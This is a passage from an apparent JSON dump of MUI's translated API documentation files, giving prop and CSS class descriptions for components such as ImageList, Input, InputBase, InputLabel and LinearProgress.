    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component, normally <code>ImageListItem</code>s.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"cols\": { \"description\": \"Number of columns.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"gap\": { \"description\": \"The gap between items in px.\" },\n    \"rowHeight\": { \"description\": \"The height of one row in px.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"masonry\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"masonry\\\"</code>\"\n    },\n    \"quilted\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"quilted\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    },\n    \"woven\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"woven\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/image-list-item/image-list-item.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component, normally an <code>&lt;img&gt;</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"cols\": { \"description\": \"Width of the item in number of grid columns.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"rows\": { \"description\": \"Height of the item in number of grid rows.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"img\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"an <code>img</code> element to ensure it covers the item\"\n    },\n    \"masonry\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"masonry\\\"</code>\"\n    },\n    \"quilted\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"quilted\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    },\n    \"woven\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"woven\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/image-list-item-bar/image-list-item-bar.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"actionIcon\": {\n      \"description\": \"An IconButton element to be used as secondary action target (primary action target is the item itself).\"\n    },\n    \"actionPosition\": { \"description\": \"Position of secondary action IconButton.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"position\": { \"description\": \"Position of the title bar.\" },\n    \"subtitle\": { \"description\": \"String or element serving as subtitle (support text).\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"title\": { \"description\": \"Title to be displayed.\" }\n  },\n  \"classDescriptions\": {\n    \"actionIcon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the actionIcon\",\n      \"conditions\": \"supplied\"\n    },\n    \"actionPositionLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the action container element\",\n      \"conditions\": \"<code>actionPosition=\\\"left\\\"</code>\"\n    },\n    \"actionPositionRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the action container element\",\n      \"conditions\": \"<code>actionPosition=\\\"right\\\"</code>\"\n    },\n    \"positionBelow\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"below\\\"</code>\"\n    },\n    \"positionBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"bottom\\\"</code>\"\n    },\n    \"positionTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"top\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"subtitle\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the subtitle container element\"\n    },\n    \"title\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the title container element\"\n    },\n    \"titleWrap\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the title and subtitle container element\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/init-color-scheme-script/init-color-scheme-script.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"attribute\": { \"description\": \"DOM attribute for applying a color scheme.\" },\n    \"colorSchemeNode\": {\n      \"description\": \"The node (provided as string) used to attach the color-scheme attribute.\"\n    },\n    \"colorSchemeStorageKey\": {\n      \"description\": \"localStorage key used to store <code>colorScheme</code>.\"\n    },\n    \"defaultDarkColorScheme\": {\n      \"description\": \"The default color scheme to be used in dark mode.\"\n    },\n    \"defaultLightColorScheme\": {\n      \"description\": \"The default color scheme to be used in light mode.\"\n    },\n    \"defaultMode\": {\n      \"description\": \"The default mode when the storage is empty (user&#39;s first visit).\"\n    },\n    \"modeStorageKey\": { \"description\": \"localStorage key used to store <code>mode</code>.\" },\n    \"nonce\": { \"description\": \"Nonce string to pass to the inline script for CSP headers.\" }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/input/input.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"This prop helps users to fill forms faster, especially on mobile devices. The name can be confusing, as it&#39;s more like an autofill. You can learn more about it <a href=\\\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill\\\">following the specification</a>.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is focused during the first mount.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>. The prop defaults to the value (<code>&#39;primary&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the component is disabled. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"disableUnderline\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will not have an underline.\"\n    },\n    \"endAdornment\": { \"description\": \"End <code>InputAdornment</code> for this component.\" },\n    \"error\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will indicate an error. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will take up the full width of its container.\"\n    },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"inputComponent\": {\n      \"description\": \"The component used for the <code>input</code> element. Either a string to use a HTML element or a component.\"\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes\\\">Attributes</a> applied to the <code>input</code> element.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl. The prop defaults to the value (<code>&#39;none&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"maxRows\": {\n      \"description\": \"Maximum number of rows to display when multiline option is set to true.\"\n    },\n    \"minRows\": {\n      \"description\": \"Minimum number of rows to display when multiline option is set to true.\"\n    },\n    \"multiline\": {\n      \"description\": \"If <code>true</code>, a <a href=\\\"https://mui.com/material-ui/react-textarea-autosize/\\\">TextareaAutosize</a> element is rendered.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"placeholder\": {\n      \"description\": \"The short hint displayed in the <code>input</code> before the user enters a value.\"\n    },\n    \"readOnly\": {\n      \"description\": \"It prevents the user from changing the value of the field (not from interacting with the field).\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"rows\": { \"description\": \"Number of rows to display when multiline option is set to true.\" },\n    \"slotProps\": {\n      \"description\": \"The extra props for the slot components. You can override the existing props or add new ones.\"\n    },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"startAdornment\": { \"description\": \"Start <code>InputAdornment</code> for this component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": {\n      \"description\": \"Type of the <code>input</code> element. It should be <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types\\\">a valid HTML5 input type</a>.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the <code>input</code> element, required for a controlled component.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"color secondary\"\n    },\n    \"disabled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is focused\"\n    },\n    \"formControl\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is a descendant of <code>FormControl</code>\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"input\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the input element\" },\n    \"inputTypeSearch\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>type=\\\"search\\\"</code>\"\n    },\n    \"multiline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>multiline={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"underline\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableUnderline={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/input-adornment/input-adornment.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component, normally an <code>IconButton</code> or string.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disablePointerEvents\": {\n      \"description\": \"Disable pointer events on the root. This allows for the content of the adornment to focus the <code>input</code> on click.\"\n    },\n    \"disableTypography\": {\n      \"description\": \"If children is a string then disable wrapping in a Typography component.\"\n    },\n    \"position\": {\n      \"description\": \"The position this adornment should appear relative to the <code>Input</code>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": {\n      \"description\": \"The variant to use. Note: If you are using the <code>TextField</code> component or the <code>FormControl</code> component you do not have to set this manually.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disablePointerEvents\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disablePointerEvents={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"hiddenLabel\": {\n      \"description\": \"Styles applied if the adornment is used inside <code>&lt;FormControl hiddenLabel /&gt;</code>.\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"positionEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"end\\\"</code>\"\n    },\n    \"positionStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"start\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied if the adornment is used inside <code>&lt;FormControl size=&quot;small&quot; /&gt;</code>.\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/input-base/input-base.json",
    "content": "{\n  \"componentDescription\": \"`InputBase` contains as few styles as possible.\\nIt aims to be a simple building block for creating an input.\\nIt contains a load of style reset and some state logic.\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"This prop helps users to fill forms faster, especially on mobile devices. The name can be confusing, as it&#39;s more like an autofill. You can learn more about it <a href=\\\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill\\\">following the specification</a>.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is focused during the first mount.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>. The prop defaults to the value (<code>&#39;primary&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the component is disabled. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"disableInjectingGlobalStyles\": {\n      \"description\": \"If <code>true</code>, GlobalStyles for the auto-fill keyframes will not be injected/removed on mount/unmount. Make sure to inject them at the top of your application. This option is intended to help with boosting the initial rendering performance if you are loading a big amount of Input components at once.\"\n    },\n    \"endAdornment\": { \"description\": \"End <code>InputAdornment</code> for this component.\" },\n    \"error\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will indicate an error. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will take up the full width of its container.\"\n    },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"inputComponent\": {\n      \"description\": \"The component used for the <code>input</code> element. Either a string to use a HTML element or a component.\",\n      \"requiresRef\": true\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes\\\">Attributes</a> applied to the <code>input</code> element.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl. The prop defaults to the value (<code>&#39;none&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"maxRows\": {\n      \"description\": \"Maximum number of rows to display when multiline option is set to true.\"\n    },\n    \"minRows\": {\n      \"description\": \"Minimum number of rows to display when multiline option is set to true.\"\n    },\n    \"multiline\": {\n      \"description\": \"If <code>true</code>, a <a href=\\\"https://mui.com/material-ui/react-textarea-autosize/\\\">TextareaAutosize</a> element is rendered.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"onBlur\": {\n      \"description\": \"Callback fired when the <code>input</code> is blurred.<br>Notice that the first argument (event) might be undefined.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"onInvalid\": {\n      \"description\": \"Callback fired when the <code>input</code> doesn&#39;t satisfy its constraints.\"\n    },\n    \"placeholder\": {\n      \"description\": \"The short hint displayed in the <code>input</code> before the user enters a value.\"\n    },\n    \"readOnly\": {\n      \"description\": \"It prevents the user from changing the value of the field (not from interacting with the field).\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"rows\": { \"description\": \"Number of rows to display when multiline option is set to true.\" },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"slotProps\": {\n      \"description\": \"The extra props for the slot components. You can override the existing props or add new ones.\"\n    },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"startAdornment\": { \"description\": \"Start <code>InputAdornment</code> for this component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": {\n      \"description\": \"Type of the <code>input</code> element. It should be <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types\\\">a valid HTML5 input type</a>.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the <code>input</code> element, required for a controlled component.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"adornedEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>endAdornment</code> is provided\"\n    },\n    \"adornedStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>startAdornment</code> is provided\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the color is secondary\"\n    },\n    \"disabled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is focused\"\n    },\n    \"formControl\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is a descendant of <code>FormControl</code>\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"hiddenLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>hiddenLabel={true}</code>\"\n    },\n    \"input\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the input element\" },\n    \"inputTypeSearch\": { \"description\": \"\" },\n    \"multiline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>multiline={true}</code>\"\n    },\n    \"readOnly\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>readOnly={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/input-label/input-label.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disableAnimation\": {\n      \"description\": \"If <code>true</code>, the transition animation is disabled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"error\": { \"description\": \"If <code>true</code>, the label is displayed in an error state.\" },\n    \"focused\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> of this label is focused.\"\n    },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl.\"\n    },\n    \"required\": {\n      \"description\": \"if <code>true</code>, the label will indicate that the <code>input</code> is required.\"\n    },\n    \"shrink\": { \"description\": \"If <code>true</code>, the label is shrunk.\" },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"animated\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>disableAnimation={true}</code>\"\n    },\n    \"asterisk\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the asterisk element\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"focused\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>focused={true}</code>\"\n    },\n    \"formControl\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is a descendant of <code>FormControl</code>\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"required\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>required={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"shrink\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>shrink={true}</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/linear-progress/linear-progress.json",
    "content": "{\n  \"componentDescription\": \"## ARIA\\n\\nIf the progress bar is describing the loading progress of a particular region of a page,\\nyou should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\\nattribute to `true` on that region until it has finished loading.\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the progress indicator for the determinate and buffer variants. Value between 0 and 100.\"\n    },\n    \"valueBuffer\": { \"description\": \"The value for the buffer variant. Value between 0 and 100.\" },\n    \"variant\": {\n      \"description\": \"The variant to use. Use indeterminate or query when there is no progress value.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"bar\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the layered bar1 and bar2 elements\"\n    },\n    \"bar1\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the bar1 element\" },\n    \"bar2\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the bar2 element\" },\n    \"buffer\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"buffer\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and bar2 element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>; bar2 if <code>variant=\\\"buffer\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and bar2 elements\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>; bar2 if <code>variant=\\\"buffer\\\"</code>\"\n    },\n    \"dashed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the additional bar element\",\n      \"conditions\": \"<code>variant=\\\"buffer\\\"</code>\"\n    },\n    \"determinate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"determinate\\\"</code>\"\n    },\n    \"indeterminate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"indeterminate\\\"</code>\"\n    },\n    \"query\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"query\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/link/link.json",
